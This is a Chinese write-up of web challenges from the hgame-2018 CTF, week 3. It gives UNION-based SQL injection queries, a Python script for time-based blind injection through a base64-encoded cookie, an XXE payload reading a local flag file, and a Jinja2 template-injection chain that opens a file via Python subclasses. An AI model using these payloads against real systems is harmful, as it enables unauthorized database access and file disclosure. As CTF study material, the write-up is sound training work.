hgame-2018 CTFwp(杭电信安)week3

送分的sqli

这题没有任何过滤什么的,真的是很简单了。

1 and 1=-1 union select 1,schema_name from information_schema.schemata

查看库名,得:

1    information_schema
1    test
1    week3_sqliiii2
?id=1 and 1=-1 union select 1,table_name from information_schema.tables

查表,得:

。。。
1    test
1    f111aa4g
1    users

猜测在f111aa4g里:

查列名

?id=1 and 1=-1 union select 1,column_name from information_schema.columns
1    f111aaaggg_w3
1    username

猜测在f111aaaggg_w3里。
最后payload:

http://118.25.18.223:10068/?id=-1 union select 1,f111aaaggg_w3 from  f111aa4g

得到flag。

正常的SQLi

描述
出题人终于换端口了 我们来一发正常的SQLi吧
URL http://123.206.203.108:10010/normalSQLi/index.php
基准分数 250
当前分数 250
完成人数 39

表哥提醒:cookie时间盲注
抓包发现cookie值:

Cookie: name=Z3Vlc3Q%3D; isadmin=0

有源码泄露:http://123.206.203.108:10010/normalSQLi/index.php.bak

<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

cookie的name是注入点,base64编码。

用的是表哥的脚本:

import requests
import base64
import urllib
url = "http://123.206.203.108:10010/normalSQLi/index.php"
flag = ""
for i in range(1,1000):
    for j in range(33,127):
        payload = "admin' or if((ascii(substr((select flag from user limit 2,1),%s,1))=%s),sleep(3),false)#"%(i,j)
        cookie = {
            "name":urllib.quote(base64.b64encode(payload))
        }
        try:
            r = requests.get(url=url,cookies=cookie,timeout=2.5)
        except:
            flag +=chr(j)
            print flag
            break

flag: hgame{fLag_1s_h4re…..}

书店

XXE xml实体注入

ENTITY 实体
在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。

ENTITY的定义语法:

<!DOCTYPE  文件名 [
    <!ENTITY  实体名 "实体内容">
    ]>

大概看了一些文档,理解了一下,尝试:

POST /hgame/selectBook?type=dz HTTP/1.1
Host: 120.79.208.173:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/xml
Referer: http://120.79.208.173:8080/hgame/index.jsp
Cookie: JSESSIONID=08CEBA8F1F775DC3EA34F98711AB9D89
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

<!DOCTYPE netspi [<!ELEMENT methodname ANY><!ENTITY xxe SYSTEM "file:///a/b/flag.txt">]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

但是无果。可能还是没太弄懂这个姿势。

ngc’s blog

表哥提示STTI,于是了解了一些文档

‘.class 可以访问到字符串的类型对象

使用 mro(Method Resolution Order) 直接获得对象的继承链, python用这个方法来确定对象方法解析的顺序

subclasses()来获得当前环境下能够访问的所有对象.

接下来的做法有点像sql注入(查表)

''.__class__
Oops! That page doesn't exist.
http://111.230.105.104:5000/<type 'str'>
''.__class__.__mro__
Oops! That page doesn't exist.
http://111.230.105.104:5000/(<type 'str'>, <type 'basestring'>, <type 'object'>)

mark
找到file,
然后读取:

{{''.__class__.__mro__[2].__subclasses__()[40]('./flag', 'r').read()}}

flag: hgame{skdvhdsbvadvnjVADBVS}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值